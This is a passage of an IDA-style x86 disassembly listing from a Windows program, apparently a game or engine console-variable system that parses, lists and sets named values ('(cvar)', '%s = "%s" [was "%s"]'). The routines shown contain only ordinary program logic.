		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B070	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0B1	proc near		; DATA XREF: ___:00440224o
		mov	eax, offset loc_40B09E
		retn
sub_40B0B1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B0E0	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B122
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_4021B2
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B122:				; CODE XREF: sub_40B0E0+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B150	proc near		; CODE XREF: sub_401DE3j

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B172
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B172:				; CODE XREF: sub_40B150+6j
		pop	ecx
		retn
sub_40B150	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B190	proc near		; CODE XREF: sub_401A00j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B190
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401753
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401C08
sub_40B190	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43F020
		call	sub_401C03
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B250	proc near		; CODE XREF: sub_401AFAj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B250
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43F020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401C03
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40155F
sub_40B250	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B2F0	proc near		; CODE XREF: sub_4017F8j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401C03
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40B2F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B470	proc near		; CODE XREF: sub_40181Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FDC
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FDC
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F50
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FDC
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401915
sub_40B470	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B510	proc near		; CODE XREF: sub_401B72j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401870
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401870
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401870
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40181B
sub_40B510	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B600	proc near		; CODE XREF: sub_4019DDj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401546
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40145B
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B681
		mov	edi, [esp+10h+arg_0]


loc_40B646:				; CODE XREF: sub_40B600+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021D0
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B68B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B646


loc_40B681:				; CODE XREF: sub_40B600+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B68B:				; CODE XREF: sub_40B600+60j
		call	sub_401F78
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B6D0:				; CODE XREF: ___:00401460j
		push	0FFFFFFFFh
		push	offset loc_439EF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401870
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019DD
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B760	proc near		; CODE XREF: sub_4015A0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7B1
		mov	byte ptr [esi+19h], 1


loc_40B7B1:				; CODE XREF: sub_40B760+4Bj
		pop	esi
		retn	8
sub_40B760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B7E0	proc near		; CODE XREF: sub_401F50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B835
		mov	byte ptr [esi+19h], 1


loc_40B835:				; CODE XREF: sub_40B7E0+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B7E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B870:				; CODE XREF: ___:00401D57j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43F024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B8C1
		mov	byte ptr [esi+19h], 1


loc_40B8C1:				; CODE XREF: ___:0040B8BBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8F0:				; CODE XREF: ___:00401CA8j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B920
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015E1
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B920:				; CODE XREF: ___:0040B8F8j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015E1
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B960:				; CODE XREF: ___:00401D7Fj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4447F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B990
		mov	byte ptr [esi+19h], 1


loc_40B990:				; CODE XREF: ___:0040B98Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B9B0:				; CODE XREF: ___:loc_401AE1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439F30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BAF2
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_401546
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BAEB


loc_40BA56:				; CODE XREF: ___:0040BAE5j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F78
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017EE
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 284020Fh
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40BA56


loc_40BAEB:				; CODE XREF: ___:0040BA50j
		mov	al, 1
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BAF2:				; CODE XREF: ___:0040B9E7j
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB85
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BB85:				; CODE XREF: ___:0040BB04j
		lea	ecx, [ebp+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC78
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014D3
		mov	ebx, 2
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F50
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BC78:				; CODE XREF: ___:0040BB40j
					; ___:0040BB97j ...
		xor	al, al


loc_40BC7A:				; CODE XREF: ___:0040BAEDj
					; ___:0040BB80j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD50	proc near		; CODE XREF: sub_401C08j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021EE
sub_40BD50	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_40155Fj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FEB
sub_40BD90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE00	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014B0
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BE00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401C85j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE70	proc near		; CODE XREF: sub_401915j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C85
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C5D
sub_40BE70	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEB0	proc near		; CODE XREF: sub_401C03j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BEB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF00	proc near		; CODE XREF: sub_401546j
		push	esi
		mov	esi, ecx
		call	sub_402158
		mov	eax, esi
		pop	esi
		retn
sub_40BF00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF20	proc near		; CODE XREF: sub_401F78j
		mov	eax, [ecx]
		push	eax
		call	sub_401848
		add	esp, 4
		retn
sub_40BF20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF40	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BF40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF70	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CFD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFA0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016AE
		mov	edi, eax
		push	edi
		call	sub_40215D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021EE
sub_40BFA0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40215D
		push	edi
		mov	[eax], ebx
		call	sub_40215D
		mov	edi, [eax]
		push	edi
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401848
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F32
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C040	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
